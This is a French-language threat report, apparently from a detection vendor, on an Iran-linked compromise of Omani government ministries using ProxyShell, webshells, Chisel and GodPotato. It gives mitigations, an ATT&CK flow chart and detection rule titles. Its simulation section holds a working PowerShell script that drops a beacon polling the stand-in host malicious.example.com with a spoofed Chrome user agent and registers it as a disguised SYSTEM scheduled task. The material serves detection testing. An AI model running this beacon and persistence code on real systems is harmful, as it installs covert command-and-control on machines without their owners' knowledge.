Une Attaque Liée à l’Iran Expose 26,000 Dossiers de Citoyens à Oman
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un acteur menaçant iranien aligné sur l’État a compromis plusieurs ministères du gouvernement à Oman en utilisant des webshells, des exploits ProxyShell et un environnement de commande et de contrôle personnalisé hébergé sur un VPS basé aux Émirats Arabes Unis. Les attaquants ont exfiltré plus de 26 000 enregistrements d’utilisateurs et de ruches de registre, puis ont déployé des outils post-compromission, notamment Chisel et GodPotato pour approfondir l’accès. L’opération a été davantage exposée par un répertoire ouvert qui a révélé involontairement les outils, scripts et journaux C2 des attaquants, offrant une visibilité sur tout le cycle de vie de l’intrusion.
Enquête
Les chercheurs ont accédé au VPS exposé à 172.86.76.127 et ont identifié des webshells, des scripts de commande et de contrôle basés sur Python, des outils d’élévation de privilèges et plusieurs scripts d’exploit ciblant ProxyShell et la vulnérabilité SSRF de DNN. Les journaux réseau ont montré une activité de beaconing sur les ports 8001 and 8002, ainsi que l’utilisation de tunnels Chisel pour un accès furtif. L’enquête a également documenté la création de tâches planifiées, l’extraction de ruches de registre et le dumping de données à grande échelle depuis les systèmes compromis.
Atténuation
Les organisations devraient appliquer tous les correctifs liés à ProxyShell dans Microsoft Exchange et remédier au problème SSRF de DNN suivi sous CVE-2025-32372. Les applications web devraient être renforcées, les comptes IIS devraient fonctionner avec le moindre privilège, et les pages ASP.NET inutilisées devraient être désactivées partout où cela est possible. Les défenseurs devraient également déployer des pare-feu d’applications web, surveiller le trafic sortant sur des ports inhabituels et inspecter régulièrement les serveurs exposés à l’Internet pour y détecter des répertoires abandonnés ou exposés.
Réponse
Les équipes de sécurité devraient créer des détections pour les schémas d’accès webshell, le comportement de beaconing PowerShell, l’activité des tunnels Chisel et la création de tâches planifiées suspectes. Les intervenants d’incidents devraient collecter les journaux des serveurs web, les ruches de registre et toute extraction de base de données pour une analyse forensique. Les systèmes affectés devraient être isolés, les identifiants renouvelés, et les autorités ou parties prenantes omanaises concernées devraient être notifiées sans délai.
"graph TB %% Class Definitions Section classDef technique fill:#c2e0ff classDef tool fill:#cccccc %% Node Definitions u2013 Techniques initial_access["<b>Technique</b> – <b>T1190 Exploit Public-Facing Application</b><br/>Method: ProxyShell & DNN SSRF"] class initial_access technique remote_services["<b>Technique</b> – <b>T1210 Exploitation of Remote Services</b><br/>Lateral movement"] class remote_services technique web_shell["<b>Technique</b> – <b>T1505.003 Web Shell</b><br/>Deployed: hc2.aspx / health_check_t.aspx"] class web_shell technique c2_bidir["<b>Technique</b> – <b>T1102.002 Web Service Bidirectional Communication</b><br/>HTTP C2 server"] class c2_bidir technique tunneling["<b>Technique</b> – <b>T1572 Protocol Tunneling</b> & <b>T1219.001 IDE Tunneling</b><br/>Tool: Chisel"] class tunneling technique weaken_enc["<b>Technique</b> – <b>T1600 Weaken Encryption</b><br/>Applied to tunnel"] class weaken_enc technique priv_esc["<b>Technique</b> – <b>T1134.003 Access Token Manipulation</b> & <b>T1068 Exploitation for Privilege Escalation</b><br/>Tool: GodPotato"] class priv_esc technique account_manip["<b>Technique</b> – <b>T1098 Account Manipulation</b><br/>Maintain elevated rights"] class account_manip technique cred_access["<b>Technique</b> – <b>T1012 Query Registry</b><br/>Steal SAM/System hives"] class cred_access technique def_evasion["<b>Technique</b> – <b>T1562 Impair Defenses</b> & <b>T1668 Exclusive Control</b><br/>Disable AV"] class def_evasion technique discovery["<b>Technique</b> – <b>T1592.002 Gather Victim Host Info</b> & <b>T1590.001 Network Domain Properties</b>"] class discovery technique exfiltration["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b> & <b>T1030 Data Transfer Size Limits</b>"] class exfiltration technique oneway["<b>Technique</b> – <b>T1102.003 One-Way Web Service Communication</b><br/>Result posting"] class oneway technique %% Node Definitions u2013 Tools / Malware tool_proxyshell["<b>Tool</b> – <b>Name</b>: ProxyShell<br/><b>Purpose</b>: Exploit Exchange Server"] class tool_proxyshell tool tool_chisel["<b>Tool</b> – <b>Name</b>: Chisel<br/><b>Purpose</b>: Tunneling"] class tool_chisel tool tool_godpotato["<b>Tool</b> – <b>Name</b>: GodPotato<br/><b>Purpose</b>: Privilege escalation"] class tool_godpotato tool %% Connections u2013 Attack Flow initial_access –>|leads_to| remote_services initial_access –>|uses| tool_proxyshell remote_services –>|leads_to| web_shell web_shell –>|enables| c2_bidir c2_bidir –>|uses| tunneling tunneling –>|uses| tool_chisel tunneling –>|enables| weaken_enc weaken_enc –>|enables| priv_esc priv_esc –>|uses| tool_godpotato priv_esc –>|enables| account_manip account_manip –>|enables| cred_access cred_access –>|enables| def_evasion def_evasion –>|enables| discovery discovery –>|enables| exfiltration exfiltration –>|uses| oneway "
Flux d’Attaque
Détections
Possibilité d’Exécution via des Lignes de Commande PowerShell Cachées (via cmdline)
Voir
Télécharger ou Charger via PowerShell (via cmdline)
Voir
Énumération Potentielle de Comptes ou de Groupes / Manipulation (via cmdline)
Voir
LOLBAS Schtasks (via cmdline)
Voir
IOC (HashSha256) pour détecter : Opération du Nexus Iranien Contre le Gouvernement d’Oman : 12 Ministères Touchés et 26 000 Dossiers de Citoyens Exposés
Voir
IOC (SourceIP) pour détecter : Opération du Nexus Iranien Contre le Gouvernement d’Oman : 12 Ministères Touchés et 26 000 Dossiers de Citoyens Exposés
Voir
IOC (DestinationIP) pour détecter : Opération du Nexus Iranien Contre le Gouvernement d’Oman : 12 Ministères Touchés et 26 000 Dossiers de Citoyens Exposés
Voir
Détection de Webshells hc2.aspx et health_check_t.aspx et Exploitation ProxyShell [Webserver]
Voir
Détection de Sondage Commande PowerShell et Exfiltration via un User-Agent Chrome Falsifié [Windows Powershell]
Voir
Exécution Simulation
Pré-requis : La Vérification de Pré-Vol Telémétrie & Baseline doit avoir réussi.
Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT directement refléter les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Les exemples abstraits ou non liés mèneront à un diagnostic erroné.
-
Narration & Commandes d’Attaque :
L’attaquant a déjà pris pied sur la machine victime et souhaite établir un beacon C2 à bas bruit. Ils déposent le script PowerShell new_beacon.ps1 dans le dossier AppData de l’utilisateur. Le script s’exécute en boucle infinie, sondant un C2 distant toutes les 30 secondes. Chaque requête HTTP est conçue avec une chaîne UA Chrome pour se fondre dans le trafic web normal, échappant ainsi aux détections réseau basées (T1217, T1674). L’attaquant lance le beacon via une tâche planifiée pour assurer la persistance (T1204.004). -
Script de Test de Régression :
# ------------------------------------------------- # Déployer et démarrer le beacon PowerShell new_beacon # ------------------------------------------------- $beaconPath = "$env:APPDATAnew_beacon.ps1" $c2Url = "http://malicious.example.com/beacon" # 1. Écrire le script de beacon (version légère simulée) $scriptContent = @' while ($true) { $headers = @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36" } try { Invoke-WebRequest -Uri "$using:c2Url" -Headers $headers -Method GET -TimeoutSec 10 | Out-Null } catch {} Start-Sleep -Seconds 30 } '@ Set-Content -Path $beaconPath -Value $scriptContent -Encoding UTF8 # 2. Enregistrer une tâche planifiée pour la persistance (s'exécute chaque minute) $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -File `"$beaconPath`"" $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration ([TimeSpan]::MaxValue) $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest Register-ScheduledTask -TaskName "SystemUpdater" -Action $action -Trigger $trigger -Principal $principal -Force Write-Host "Beacon déployé et tâche planifiée créée." -
Commandes de Nettoyage :
# ------------------------------------------------- # Retirer le beacon et la tâche planifiée # ------------------------------------------------- $beaconPath = "$env:APPDATAnew_beacon.ps1" Unregister-ScheduledTask -TaskName "SystemUpdater" -Confirm:$false Remove-Item -Path $beaconPath -Force -ErrorAction SilentlyContinue Write-Host "Nettoyage terminé."